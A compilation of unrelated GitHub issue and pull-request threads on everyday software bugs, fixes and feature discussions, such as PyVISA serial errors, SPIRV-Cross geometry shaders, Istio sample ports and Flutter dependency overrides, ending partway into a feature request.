Which games are affected by which issue exactly? On what OS version and what GPU? By "new DDrawCompat version" do you mean the experimental release?
Is the issue with Diablo fixed then? If yes, then please close it.


Add link to web app tutorial

Hi @adhurwit, I'm your friendly neighborhood Azure Pull Request Bot (You can call me AZPRBOT). Thanks for your contribution!

This seems like a small (but important) contribution, so no contribution license agreement is required at this point. Real humans will now evaluate your PR.

TTYL, AZPRBOT;

Merging per conversation w/Carol Bailey.


Launch problem cmd

[x] Using latest version as provided on the master branch
[x] Searched for similar issues including closed ones

What is the purpose of your issue?

[x] Script won't run
[ ] Encountered bug
[ ] Feature request
[ ] Question
[ ] Other

System information

Your python version: python 3.6
Your operating system: Windows 10

Description

installed requirements properly, however,, python wont launch spotdl.py with the given error: ERROR: unknown command "spotdl.py"

installed requirements properly
How exactly?
ERROR: unknown command "spotdl.py"
Please post the full command you're trying and the exact full output you get. Otherwise it's hard to help you.

pip3 spotdl.py --song https://open.spotify.com/track/4odiyU3myG29Ld0wurMfE8
and error: ERROR: unknown command "spotdl.py"

How on earth would one start a Python script using pip? And even more interesting - where is that command from? :wink:

Please go through the README again carefully. You'll know what's wrong.


Terminal Find: Highlight all instances of term in current viewport and don't manipulate selection

Forked off from https://github.com/microsoft/vscode/issues/28768
Upstream issue: https://github.com/xtermjs/xterm.js/issues/1653
We want find to highlight all matches in the viewport using a different highlight to regular selection, just like in the editor:

Why not open the search function of Chrome. Just do not disable the shortcut keys.

@ican2056 the terminal is normally displayed on a canvas, the browser's find has no access to that. Plus even when it is rendered in the DOM, only the viewport is, not the entire buffer.


MAINT: Remove workaround

This workaround is 5 years old, hopefully we can get rid of it now.
Also adds a bit of maybe useful debugging information.

@drammock do you remember what made it so that we needed this workaround?

I'm not positive, but it might have been an issue with left-aligning a multiline message?
-------- Original Message --------
On Mar 3, 2020, 06:24, Eric Larson wrote:

@drammock do you remember what made it so that we needed this workaround?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or unsubscribe.

Okay, let's try removing it and see if we end up with problems. With the current implementation and modern Pyglet it actually causes some problems (left aligning with the extra spaces does not work properly). And the workaround is 5 years old, so hopefully we can do without it nowadays...


Add Contrib support for IR+RF devices such as the S11

This adds Contrib/RFRemoteControlDevice as a subclass of Contrib/IRRemoteControlDevice.  See discussion in #228
I also removed some wayward tabs from IRRemoteControlDevice and ThermostatDevice.

Thanks @uzlonewolf !
Also nice cleanup on tab/spaces. I'm wondering if we should add something like .editorconfig to the project - see https://EditorConfig.org

https://pypi.org/project/tinytuya/1.12.6/


Incorrect Document Information Dictionary Keywords

It seems that the Document Information Dictionary, at the end of the PDF, needs to have correctly-capitalized keys.
Here is a non-normative reference https://www.oreilly.com/library/view/pdf-explained/9781449321581/ch04.html
There is a bug because renderers/pdf/writer.go lines 478-489 uses

title instead of Title
subject instead of Subject
keywords instead of Keywords
author instead of Author

so these four fields are present in the PDF but ignored by other PDF processing software.

It may also be useful to be able to set the Creator dictionary item, which got missed out.

Yes a PR would be great! I'm surprised this was missed, as I passed it through multiple conformance checkers.

See PR#96.

Fixed in #96


How about a function to return a list of distinct values from a column?

If you agree that it would be worth the time. If you are busy, I am willing to contribute.... :)

Hi. DISTINCT keyword is supported in DictMySQL.
You can do something like
mysql.select(table='jobs', columns=['#DISTINCT id', 'value'], where={'value': {'$LIKE': 'Art%'}})

Great.. I didn't notice it... However, after querying with this function, we will have to make it a list manually.... I'm taking about an inbuilt function that returns a list by default... just like get() returns one single value...

I meant 1 dimension list like ['dog','cat','apple'] ...

I see what you are saying and I have thought about it when developing. The key problem here is that it is useful when you only select one field, which limits the usage scenario a lot.
I think it could be a future function and I will leave this as an open ticket.

We can also do something like this:
db.list(table='animals', column='breed')
['cat', 'dog', 'cat', 'cat', 'dog]
db.list(table='animals', column='#DISTINCT breed')
['cat', 'dog']
Even though it queries only one column, I think it will be very helpful... Just like the get() function.

Maybe you close this issue if this is no needed, if you need this let me know and i work on this.

Let me close it. I like this library's simplicity and minimal design. Since Python already provides so many elegant ways of list creation, addition of this function won't make much difference anyway.


Fix collections.abc deprecation warnings

It appears that the abstract collection types in the collections module are being moved to collections.abc in Python 3.9. This change anticipates the deprecation and fixes the resulting warnings (see below).

/envs/test-env/lib/python3.7/site-packages/streamz/core.py:23  /envs/test-env/lib/python3.7/site-packages/streamz/core.py:23: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated since Python 3.3,and in 3.9 it will stop working
from collections import Iterable
/envs/test-env/lib/python3.7/site-packages/streamz/orderedweakset.py:10  /envs/test-env/lib/python3.7/site-packages/streamz/orderedweakset.py:10: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated since Python 3.3,and in 3.9 it will stop working
class OrderedSet(collections.MutableSet):
-- Docs: https://docs.pytest.org/en/latest/warnings.html

Thanks!


Fix sample code manually for operations_api.

The require statement is slightly wrong, because it's a part
of gax library.

Current coverage is 92.53% (diff: 100%)

Merging #53 into master will not change coverage

@@             master        #53   diff @@
==========================================
  Files             7          7
  Lines           924        924
  Methods         127        127
  Messages          0          0
  Branches        200        200
==========================================
  Hits            855        855
  Misses           69         69
  Partials          0          0

Powered by Codecov. Last update 8d442fc...47401d6


Add an assertion method for the target register in FTQC circuit

@mitz1012
could you please unstage test/assertion/get_tgt_val/.DS_Store ?


ASRL error

Hi,
First of all, your code is awesome, and thank you so much for it.
I believe there may be a missing class for ASRL connections though. I call pyvisa (using the latest pyvisa-py and pyvisa) as follows:
rm = visa.ResourceManager("@py")
resource = u'ASRL1::/dev/ttyUSB0::INSTR'
my_instrument = rm.open_resource(resource)

The traceback for the error is:
Traceback (most recent call last):
File "takedata.py", line 51, in
my_instrument = rm.open_resource(resource)
File "/usr/local/lib/python2.7/dist-packages/PyVISA-1.6.4.dev0-py2.7.egg/pyvisa/highlevel.py", line 1609, in open_resource
info = self.resource_info(resource_name)
File "/usr/local/lib/python2.7/dist-packages/PyVISA-1.6.4.dev0-py2.7.egg/pyvisa/highlevel.py", line 1576, in resource_info
ret, err = self.visalib.parse_resource_extended(self.session, resource_name)
File "/usr/local/lib/python2.7/dist-packages/PyVISA_py-0.2.dev0-py2.7.egg/pyvisa-py/highlevel.py", line 275, in parse_resource_extended
parsed = rname.parse_resource_name(resource_name)
File "/usr/local/lib/python2.7/dist-packages/PyVISA-1.6.4.dev0-py2.7.egg/pyvisa/rname.py", line 187, in from_string
raise InvalidResourceName.bad_syntax(subclass.syntax,
AttributeError: type object 'ASRLInstr' has no attribute 'syntax'
and my setup is as follows:
Machine Details:
Platform ID:    Linux-3.18.0-trunk-rpi-armv6l-with-debian-7.8
Processor:
Python:
Implementation: CPython
Executable:     /usr/bin/python
Version:        2.7.3
Compiler:       GCC 4.6.3
Bits:           32bit
Build:          Mar 18 2014 05:13:23 (#default)
Unicode:        UCS4
PyVISA Version: 1.6.4.dev0
Backends:
ni:
Version: 1.6.4.dev0 (bundled with PyVISA)
Binary library: Not found
py:
Version: 0.2.dev0
ASRL INSTR: Available via PySerial (2.7)
GPIB INSTR:
Please install linux-gpib to use this resource type.
No module named gpib
TCPIP INSTR: Available
USB INSTR: Available via PyUSB (1.0.0rc1). Backend: libusb1
USB RAW: Available via PyUSB (1.0.0rc1). Backend: libusb1
My apologies if I simply misunderstand how to correctly deal with ASRL based instruments.
Thank you,
Michael

I would say that both. You are using the ASRL Syntax wrong but you also found a bug in the PyVISA error handler. Please update to the latest PyVISA and you will see the following error.
Could not parse 'ASRL1::/dev/ttyUSB0::INSTR'. The syntax is 'ASRL[board][::INSTR]' (too many parts).

Which means that in your case you need to use the following resource name ASRL/dev/ttyUSB0::INSTR

Thank you sir, this makes sense. Reinstalling and using the correct syntax results in:
ASRL/dev/ttyUSB0::INSTR
Traceback (most recent call last):
File "takedata.py", line 51, in
my_instrument = rm.open_resource(resource)
File "/usr/local/lib/python2.7/dist-packages/PyVISA-1.6.4.dev1-py2.7.egg/pyvisa/highlevel.py", line 1631, in open_resource
res.open(access_mode, open_timeout)
File "/usr/local/lib/python2.7/dist-packages/PyVISA-1.6.4.dev1-py2.7.egg/pyvisa/resources/resource.py", line 170, in open
self.session, status = self._resource_manager.open_bare_resource(self._resource_name, access_mode, open_timeout)
File "/usr/local/lib/python2.7/dist-packages/PyVISA-1.6.4.dev1-py2.7.egg/pyvisa/highlevel.py", line 1595, in open_bare_resource
return self.visalib.open(self.session, resource_name, access_mode, open_timeout)
File "/usr/local/lib/python2.7/dist-packages/PyVISA_py-0.2.dev0-py2.7.egg/pyvisa-py/highlevel.py", line 198, in open
sess = cls(session, resource_name, parsed)
File "/usr/local/lib/python2.7/dist-packages/PyVISA_py-0.2.dev0-py2.7.egg/pyvisa-py/sessions.py", line 182, in init
constants.VI_ATTR_RSRC_NAME: parsed['canonical_resource_name'],
TypeError: tuple indices must be integers, not unicode
pi@raspberrypi ~/python/keithley/bin $
This error occurs on both my Mac and Raspberry Pi.

This is also due to the latest changes. I will fix it tonight.

Can you try now?

Perfect! Thank you so much!


Services macro does not support generics

Uhm, I remember having this issue and adding the feature 🤔
Maybe missing traits bounds or something.

Uhm, I remember having this issue and adding the feature 🤔 Maybe missing traits bounds or something.

We are missing generics on impl block
impl ::overwatch_rs::overwatch::Services for #services_identifier should be impl #impl_generics ::overwatch_rs::overwatch::Services for #services_identifier #ty_generics
fn generate_services_impl(
    services_identifier: &proc_macro2::Ident,
    fields: &Punctuated<Field, Comma>,
) -> proc_macro2::TokenStream {
    let services_settings_identifier = service_settings_identifier_from(services_identifier);
    let impl_new = generate_new_impl(fields);
    let impl_start_all = generate_start_all_impl(fields);
    let impl_start = generate_start_impl(fields);
    let impl_stop = generate_stop_impl(fields);
    let impl_relay = generate_request_relay_impl(fields);
    let impl_update_settings = generate_update_settings_impl(fields);

    quote! {
        impl ::overwatch_rs::overwatch::Services for #services_identifier {
            type Settings = #services_settings_identifier;

            #impl_new

            #impl_start_all

            #impl_start

            #impl_stop

            #impl_relay

            #impl_update_settings
        }
    }
}


Why not run in desktop browsers?

Hello,
I need to prevent sleep in desktop browsers too. Is there a reason why you did not target that? Do you care for a pull request? Thanks

I made it optional https://github.com/louisameline/NoSleep.js/commit/c1dcbce7f1a9a4c6f71ca7ab873a9492bcf6fecb

The latest release of this library works will Desktop Browsers (at least, all of Chrome/Safari/Firefox on MacOS).


runtime failure: reuse

Steps To Reproduce
Steps to reproduce the behavior:

be on latest nixpkgs-unstable
run reuse

Build log
Traceback (most recent call last):
  File "/nix/store/qwh3j35j9y6hr21iwxw4qri4rgqhdqj2-python3.11-reuse-3.0.2/bin/.reuse-wrapped", line 6, in <module>
    from reuse._main import main
  File "/nix/store/qwh3j35j9y6hr21iwxw4qri4rgqhdqj2-python3.11-reuse-3.0.2/lib/python3.11/site-packages/reuse/_main.py", line 19, in <module>
    from . import (
  File "/nix/store/qwh3j35j9y6hr21iwxw4qri4rgqhdqj2-python3.11-reuse-3.0.2/lib/python3.11/site-packages/reuse/_annotate.py", line 27, in <module>
    from jinja2 import Environment, FileSystemLoader, Template
ImportError: cannot import name 'Environment' from 'jinja2' (/nix/store/pijcjn1cv7xfqffhl76rlqdd9hk0rb1g-python3.11-jinja2-3.1.4/lib/python3.11/site-packages/jinja2/__init__.py)

Notify maintainers

@FlorianFranzen @Luflosi

Add a :+1: reaction to issues you find important.

Do you use it from nix shell/nix-shell, NixOS config / HM or some other way ?
And is there particular command/template that fails ?
Tried myself and it seems to work from (nix-shell, directly from /nix/store.. path and from systemPackages):
readlink $(which reuse)
/nix/store/qwh3j35j9y6hr21iwxw4qri4rgqhdqj2-python3.11-reuse-3.0.2/bin/reuse

touch test.js
reuse annotate --license "GPL-CC-1.0" ./test.js --style jinja
Successfully changed header of test.js

cat test.js
{#
SPDX-License-Identifier: GPL-CC-1.0
#}

Also tried with --template and empty .reuse/templates/test.jinja2 (looking at code I assume that should be the thing that triggers it).
But even with --debug it does not output whether it found my template or not, thought annotation changed to empty {# #}, so I assume it works as well.

oddly, doing nix run github:nixos/nixpkgs#reuse breaks on one of my machines, but not all of them. This may be an issue on my end actually, I'll see if I can debug it >_>

Can't repro via running nix run github:NixOS/nixpkgs/nixpkgs-unstable#reuse 🤷🏼♀


Fixes #80336

Fixes #80336
There was a rogue CSS display: directive overriding the display: none on the splitview view.

@joaomoreno I'm seeing the activity bar sash which is disabled still taking up horizontal space as well. Should we have https://github.com/microsoft/vscode/blob/30ebf0363b17e2859d18d877111caac64a6a6b32/src/vs/base/browser/ui/sash/sash.css#L12-L14 include display: none for disabled sashes?

@sbatten The combination of position: absolute; and pointer-events: none is very much equivalent to display: none. Additionally, display: none would break my DEBUG flag in which I want to see all sashes rendered in the workbench, including disabled ones.
In any case that would not be something to add to the recovery build. Let's just get this in.

@sbatten says

What I mean to say in that PR is that the disabled sash is still breaking the layout
Yes the workbench is shifted to left
Some number of pixels but it is quite obvious
Try your branch again and toggle the sidebar several times with the key command followed by using snapping
Oh also, use custom titlebar as it makes it more obvious when the close button is shifted

@sbatten I can't reproduce what you see, here's what I see: https://youtu.be/WTDmpdgVLfw
What am I doing wrong? Can you show me a recording of what you see?

Use the mouse: https://youtu.be/xqVH0lwfi3E

Yup! Could repro that. I've changed the code such that sashes are always confined within the splitview boundaries.

verified fresh on my machine


SAK-43477 Added author id to evaluation persistence

https://jira.sakaiproject.org/browse/SAK-43477

Apologies in advance for the amount of whitespace and formatting changes in this PR. Babel does stuff that it doesn't really need to be doing and I don't know how to shut that down at the moment. The formatting changes that it makes are okay, but it just makes the delta bigger, which is not ideal.

 Here is an overview of what got changed by this pull request:

Issues
======
+ Solved 4
- Added 7

See the complete overview on Codacy

This needs merging. Other than the whitespace, it's really simple change and is holding up Andrea.
https://jira.sakaiproject.org/browse/SAK-43455


Launchbuddy Alpha 1.6.1 treated as having Malware

My antivirus software (Vipre) has removed GW2Launchbuddy 1.6.1 exe from my system and won't allow the exe to be down loaded from the site. It is identifying it as Gen:Variant.Razy.348320.

My antivirus did the same (F-Secure). The 1.6.1 Hotfix version was running fine, but this morning when I opened the pc anti-virus just informed that it has found a trojan and removed it. Redownload does not solve the issue. Identified as same virus Gen:Variant.Razy.348320.

It is kind of being discussed in this issue too: https://github.com/TheCheatsrichter/Gw2_Launchbuddy/issues/56
But I don't think it's currently a priority. I keep following the thread, but no real changes happen to the whole malware thread. So yeah, assume security is not a priority in their current roadmap.

I'm closing this out. #56 has the full details on why, but I'll point out here that anything with the word/phrase/partial of "Gen" is a generic, non specific, "might be but isn't for sure" detection. It's literally the virus scanner saying "We don't know what this is, but it has code parts that could be used for nefarious deeds". It's in no way a reflection of the security of LB itself. For that, I would suggest either yourselves (or someone you know that understands the code if you don't) look through the code, and make the determination.


The text-to-image tasks

How do I implement text-to-image training and generation on the LAION dataset?

You can create a dataloader that passes an (image, text) pair for training, an example of the MockTextImageDataset is also given in the data.py file


NullPointerException when try to create NPSP Addresses

Receive the null pointer exception when try to create NPSP Addresses
How to reproduce:

Create Household Account with related Contacts and one Household Account without Contacts.
Create NPSP Addresses for this Accounts in one DML operation.

Result:
Class.npsp.ADDR_Addresses_TDTM.refreshCurrentHHAddress: line 339, column 1
Class.npsp.ADDR_Addresses_TDTM.run: line 174, column 1
Class.npsp.TDTM_TriggerHandler.runClass: line 173, column 1
Class.npsp.TDTM_TriggerHandler.run: line 98, column 1
Trigger.npsp.TDTM_Address: line 34, column 1
Suggestion to fix:
line 338: if (mapAccIdListCon != null && mapAccIdListCon.size() > 0) {
replace to
line 338: if (mapAccIdListCon != null && mapAccIdListCon.containsKey(accId)) {

good catch.  thanks for the fix.

**lurch: add

Tracking W-016932

Included in beta release 3.86 (Beta 1)


Don't render bad link for mismatched DbSchema/UserSchema names

Rationale
The crawler found a bad link for the raw schema metadata in a data class table. It's a mishmash of DbSchema and UserSchema metadata and naming.
Example: https://teamcity.labkey.org/buildConfiguration/LabKey_2311Release_Community_DailySuites_DailyAPostgres/2760149?hideProblemsFromDependencies=false&hideTestsFromDependencies=false&expandBuildTestsSection=true&expandBuildChangesSection=true
Changes

Don't offer a link when the UserSchema isn't exposed under the same name.

@labkey-matthewb @labkey-adam let me know if you think we need to expose the expdataclass schema raw metadata somehow.


Use bullet points instead of dashes for time, loc

Describe where the project does not conform to style guidelines
The dashes can be confusing when there are dates and times with dashes.
Describe how the project could be changed
Use bullets, maybe squares or circles?

I changed the dashes to the ∙ character in #98. If this is an acceptable change we can mark this issue as closed.


MSL: Implement geometry shaders using object and mesh stages.

That's a cleaned up and updated implementation of geometry shaders that we shipped with CrossOver 23. Marked as a draft, because there's still a couple hacks that I want to revisit. There's obviously room for improvements, but I'm creating the PR to get the conversation about upstreaming started, and in particular to get comments on what would need to be changed before it could be merged.
Vertex shaders get compiled as [[object]] and spawned over 1D grid of threads, one per primitive. There's a rudimentary vertex loader, we then run the original vertex function over the vertices, and put transformed vertices into [[payload]]. At the end a single mesh thread is dispatched.
The geometry shader goes in the mesh stage. The wrapper just wrangles the payload into a transposed format that the geometry shader expects and runs it. There's an extra object of type spvMeshStream passed to it, which implements emitting vertices etc.

As I previously said, this implementation strategy is a non-starter with tessellation, which you already support and therefore must work, as well as with transform feedback, which is closely related and has work in progress code with a similar set of issues. Geometry shaders and transform feedback have complex interactions and it’s not possible to properly implement one without considering the other.
(This is putting aside the issues with this implementation that could be fixed with a lot of work. Primitive restart for example, is very difficult to handle with certain topologies.)
In general, now that there exists conformant drivers supporting this functionality for the hardware families supported by metal, knowingly merging/shipping broken implementations hurts the wider open graphics ecosystem. There is no fundamental reason that a conformant implementation of geometry shaders — including with tessellation and transform feedback — could not be implemented on top of metal, so I don’t see a “portability” reason to skip the hard problems. But to do so would require a substantially different approach than what is proposed here, and so merging this be a step back for correctness and for the ecosystem.
As such, I don’t think this should be merged in its current form. Sorry.

As I previously said, this implementation strategy is a non-starter

I must have missed that, as I'm unaware of any reasons why it would be impossible to implement the missing features on top of this PR. I'd probably agree with your objection if that was substantiated, otherwise your argument makes not much sense to me - requiring a fully featured implementation in a single PR seems unnecessary, regardless if there exists a conforming implementation somewhere else or not.

But to do so would require a substantially different approach than what is proposed here

Different how? I'm not familiar with how the driver you mentioned works, is there a write-up somewhere?
@HansKristian-Work let me know what's your stance on this.

The strategy here was to get some useful results in terms of running games with CrossOver, and later refine and get the CTS passing.

The motivation here seems to get something working for very specific games that only benefits CrossOver, rather than attempting to do something that is useful to the larger ecosystem. That is fine for your goals of course, but probably not for something upstream.

and later refine and get the CTS passing

I'm very wary here, because as me and Alyssa know from experience, getting working Tess/Geom/XFB working together is extremely difficult when you don't have it supported natively by the target API/hardware. The current Geom/XFB work seems to only consider these features in complete isolation. Their interactions are critical to have a conformant implementation. If you expose Tess and Geom, they have to work together, if you expose XFB, they have to work together with Tess/Geom.
It seems like the CTS concern is hand-waved away in a "we're going to make it work somehow, but we haven't thought it through yet". For more simple features, I'd be inclined to do iterations over many PRs, since monster PRs are horrible to review, since it's fairly obvious how things would progress over time and I would be able to see the finish line, but getting Tess/Geom/XFB/PrimitiveRestart working together is something that needs to be well thought out before you start committing to writing code. It's not a trivial problem to solve.
Apple seems to have gone the approach of doing it all in mesh shaders, not even bothering with their native tessellator (because it cannot be conformant with XFB), I'm not sure how, but it might look similar to RDNA2+ NGG style implementation. A correct solution is probably related to that.
The existing designs I've seen so far in these PRs can only work in the most trivial situations, which may be enough to get some specific games to run, but I'm a bit confused why this should be pushed upstream. I'm not particularly happy maintaining code paths I know are broken. And once this is pushed up, it has to be maintained since someone might start relying on it for their own engine. SPIRV-Cross Metal output is used by several projects, not just MoltenVK.

If I had infinite spare time I'd look into an open implementation that would take SPIR-V for vertex/tess/geom and fart out a task + mesh shader with whatever necessary glue shaders are necessary. Wondering if that kind of approach is necessary to make tess/geom/xfb/indirect/restart and friends viable on Metal.
Then all of this would hinge on a solid mesh shader implementation in SPIRV-Cross, which is hard (since MSL mesh shaders are kinda incompatible with Vulkan/D3D12 >_<), but it is at least a useful goalpost.

Different how? I'm not familiar with how the driver you mentioned works, is there a write-up somewhere?

Other than the work being done in Mesa, I don't think there is anything open that can be looked at. This is typically the domain of proprietary suffering done by IHVs.


native_pdf_view - extended_image error

reference 'native_pdf_view: ^3.8.0'

flutter channel dev
flutter upgrade

it will lead to the error:
/extended_image-1.3.0/lib/src/extended_image.dart:785:44: Error: No named parameter with the name 'nullOk'.

temporary solution could be
dependency_overrides:
  extended_image: ^1.3.1-dev

but it is not really good solution

Thanks, that works!
I'm sharing my env configuration and error messages for others.
Flutter version:
Flutter 1.24.0-10.2.pre • channel beta • https://github.com/flutter/flutter.git
Framework • revision 022b333a08 (13 days ago) • 2020-11-18 11:35:09 -0800
Engine • revision 07c1eed46b
Tools • Dart 2.12.0 (build 2.12.0-29.10.beta)
flutter run -d chrome
Running "flutter pub get" in ...                  1 314ms
Launching lib\main.dart on Chrome in debug mode...
/C:/flutter/.pub-cache/hosted/pub.dartlang.org/extended_image-1.3.0/lib/src/extended_image.dart:785:44: Error: No named parameter with the name 'nullOk'.
_invertColors = MediaQuery.of(context, nullOk: true)?.invertColors ??
^^^^^^
/C:/flutter/packages/flutter/lib/src/widgets/media_query.dart:814:25: Context: Found this candidate, but the arguments don't match.
static MediaQueryData of(BuildContext context) {
^^
Added:
dependency_overrides:
extended_image: ^1.3.1-dev
Result:
flutter run -d chrome
Warning: You are using these overridden dependencies:
! extended_image 1.3.1-dev
Running "flutter pub get" in multibook-frame...                  1 168ms
Launching lib\main.dart on Chrome in debug mode...
Syncing files to device Chrome...                                  32,5s
Debug service listening on ws://<IP_ADDRESS>:55590/SvD2-wZNR4Y=/ws
Warning: Flutter's support for web development is not stable yet and hasn't
been thoroughly tested in production environments.
For more information see https://flutter.dev/web
To hot restart changes while running, press "r" or "R".
For a more detailed help message, press "h". To quit, press "q".

temporary solution could be
dependency_overrides:
  extended_image: ^1.3.1-dev

but it is not really good solution

Better solution, still temporary
dependency_overrides:
  extended_image: 1.5.0-dev

published [native_pdf_view] v3.9.1 with extended_image v1.5.0

published [native_pdf_view] v3.9.1 with extended_image v1.5.0

@BrayFlex now support only flutter stable channel

I have this problem with flutter Channel stable, 2.0.6, native_pdf_view: ^3.9.0
and
dependency_overrides:
extended_image: ^1.5.0
what is the correct combination?
Thanks for your help :-)

seems to work with
dependency_overrides:
extended_image: 1.5.0-dev


Adding .csv generation to eval mode of Casanovo

If merged, will allow for the generation of an evaluation graph when running casanovo in eval mode. The location of the graph is specified with the --output CLI option.

I've been working on this today and I've come to the conclusion that I don't think it's feasible to make the benchmarking more general. The challenge is converting the modification strings from one format to the same used by MassIVE-KB. The major issue with this conversion is that some sources don't include fewer decimal places in their modification strings, making the conversion non-trivial.
@VarunAnanth2003 - how goes removing the actual plots and instead returning a DataFrame? I'll be making some small changes to docstrings and such.

Can you give an example of this conversion problem @wfondrie? spectrum_utils now supports the full ProForma 2.0 specification, which is reasonably flexible in the way modifications can be specified. IIRC the MassIVE-style modifications are not fully ProForma-compliant, but can easily be converted by surrounding the masses by square brackets. Could we try to use ProForma as an intermediate representation?

That seems like good idea @bittremieux! Here one the current conversions that we're doing in this PR:
    mgf_df["true_seq"] = mgf_df["true_seq"].str.replace(
        "C[57.02]", "C+57.021", regex=False
    )

Here, C[57.02] is the modification output by Tide (right @VarunAnanth2003?), and C+57.021 is the equivalent in our MassIVE-KB vocabulary. This example is trivial to convert manually, but difficult otherwise, because we'd need some kind of fuzzy matching scheme. Is there an easy way to convert all of these to proforma?

Hmm, the difference in precision makes it a bit challenging. ProForma allows to specify modifications by their mass as PEPC[+57.021]IDER, so slightly different than both of those representations. Converting each one to a compatible ProForma string is straightforward, but that won't take care of the different number of decimals.
I guess we could round to the number of decimals from the least precise representation? For that we don't even need ProForma, but maybe that's still useful as a consistent representation. In which case the steps would be:

Surround all numeric values by square brackets and always show the sign.
Round to a specified number of decimals (2).

Not entirely satisfactory, but it maybe works?

We should work on merging this.  I think it will require that Varun write some tests.

@wfondrie With Wout's proposal for generalizing how modifications are represented, do you think there's a way forward with generalized benchmarking or should we go ahead with the current treatment of modifications?

I can work on writing tests/finishing this PR after figuring out how to go forward


Fixes for consul and eureka istio.io tasks

What this PR does / why we need it:
default discovery istio-pilot: was changed from 8080 to 15003, broke consul and eureka docker-compose yamls
Which issue this PR fixes: fixes #2080
Special notes for your reviewer:
Release note:

Fixed issue with Pilot port in Consul and Eureka samples.

@GregHanson: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
8d5a06c2b755a8657c741456353afc4aff52be04
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala just a note: next time you change any of the install files for kube, please pay attention to install files in Consul/Eureka as well. There is no istio-on-istio for platforms other than kubernetes.

The post-mortem should be: let's get some automated checks for this :)
On Thu, Dec 14, 2017 at 12:17 PM Shriram Rajagopalan <
<EMAIL_ADDRESS>wrote:

@rshriram approved this pull request.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/istio/istio/pull/2166#pullrequestreview-83632098, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AJGIxnD2ThAqR3_BVAbaH6yBIvEHQD77ks5tAYJIgaJpZM4RChS6
.

Well, that could not work because consul/nomad is a different orchestration platform, while all tests were deeply tied to kubernetes. Its not like we had the flexibility to add other platforms.

/retest istio-pilot-e2e

The test should run separately. Perhaps, another circle job that only
exercises consul.
On Thu, Dec 14, 2017, 12:27 PM Isaiah Snell-Feikema <
<EMAIL_ADDRESS>wrote:

/retest istio-pilot-e2e
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/istio/istio/pull/2166#issuecomment-351826426, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AJGIxqGE5jAf2nDTWuGzLtaoGcQzgAKxks5tAYSWgaJpZM4RChS6
.

And hence the reason for moving to circleci :). Was not possible with prow,gke, inhouse testing infrastructure.

Prow is just a bash script running in a container, not much different from
circle. I agree with you, that we should have more cooperation on the
testing front.
On Thu, Dec 14, 2017 at 12:32 PM Shriram Rajagopalan <
<EMAIL_ADDRESS>wrote:

And hence the reason for moving to circleci :). Was not possible with
prow,gke, inhouse testing infrastructure.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/istio/istio/pull/2166#issuecomment-351827727, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AJGIxka-mjcpcNq_PZQolcbixV4wxsBGks5tAYXggaJpZM4RChS6
.

Related to https://github.com/istio/istio/issues/2168

/lgtm

@rshriram understood. Having tests really helps. Thanks

Hm, I'm experiencing issue https://github.com/istio/issues/issues/185, and after I added --discoveryAddress istio-pilot:8080 issue has gone. Is flag actually needed, should it be present in template for generating bookinfo.sidecars.yaml? Or this was a workaround and there is some cleaner way to fix the issue?


hexike_basis broken by change to default 'outside' value

hexike_basis was calling zernike_basis without specifying an outside value. At some point I changed the default outside for use (I believe) with opd_expand. Anyway, specifying outside=0.0 fixes it. PR to be forthcoming.

Fixed by #152


NCL-1494 Improve UI of error reporting to user

@pgier this fixes the JSHint errors in your PR and also adds improved error reporting.


go get error: x509: certificate signed by unknown authority

hi,
it seems rsc.io/pdf can not be retrieved with go get (short of using the -insecure flag):
$ go get -v -u rsc.io/pdf
Fetching https://rsc.io/pdf?go-get=1
https fetch failed: Get https://rsc.io/pdf?go-get=1: x509: certificate signed by unknown authority
package rsc.io/pdf: unrecognized import path "rsc.io/pdf" (https fetch: Get https://rsc.io/pdf?go-get=1: x509: certificate signed by unknown authority)

could this be fixed?
-s

@rsc can you please clarify if you are willing to fix this issue?

@rsc is on extended leave. He may not reply for several months yet.

Thanks for clarifying that.


Add an option to leave consumer group when closing Streams

👋 Hi Spring-Kafka Team !
When developping we Kafka Streams, I figured that when shutting down an app, the consumer didn't seem to proactively leave the Kafka consumer group.
This seems to be related to a leaveGroup parameter that wasn't used in the org.apache.kafka.streams.KafkaStreams#close() method.
So this PR adds support for this parameter, and documentation of the parameters in the Apache Kafka Streams Support section.

@juwit Please sign the Contributor License Agreement!
Click here to manually synchronize the status of this Pull Request.
See the FAQ for frequently asked questions.

@juwit Thank you for signing the Contributor License Agreement!

Thanks for the review @sobychacko 🙏
I updated the code with your suggestions.


Do not expect TASK_RUNNING to be the first task status

With this PR and #50 the integration test will be finally green!

btw. this test is NOT run in our CI right now. that will be fixed in #47 but I cannot merge that before the tests are green... LOL


Stuffer macros missed in error handler refactoring

Commit 558b3fca switched from error param to return value, stuffer macros did not get updated in the mix. This PR corrects the following identified in issue #131 :

Removes obsolete s2n_stuffer_init_text() macro (must use s2n_blob, thus updated macro would be too complex)
Updates s2n_stuffer_write_str() to use s2n_stuffer_write_bytes()
Updates s2n_stuffer_write_str() to remove unused n arg
Updates s2n_stuffer_write_text() to use s2n_stuffer_write_bytes()
Updates s2n_stuffer_read_text() to use s2n_stuffer_read_bytes()
Corrects test code to match macros and methods (however still disabled via preproc)

Travis CI failure on OS X, unrelated to PR; same seen with last commit: https://travis-ci.org/awslabs/s2n/jobs/69925884

This looks good, will likely merge in the next few days.

Thanks, I was unsure if I should leave the tests disabled in s2n_stuffer_text_test.c. Let me know if you'd like me to push along adding those back (simply removing the preproc region).


[Feature Request]: Reka AI

Feature Name
Reka AI
Feature Description
Overview of Reka AI
Reka AI is a cutting-edge AI platform designed to provide accessible and efficient solutions for natural language processing (NLP) and generative AI applications. The platform empowers developers, data scientists, and businesses by simplifying the development, deployment, and scaling of AI models. Reka AI aims to make advanced AI technologies more accessible by offering pre-trained models, custom model training, and seamless integration options.
Key Features of Reka AI
Pre-Trained AI Models

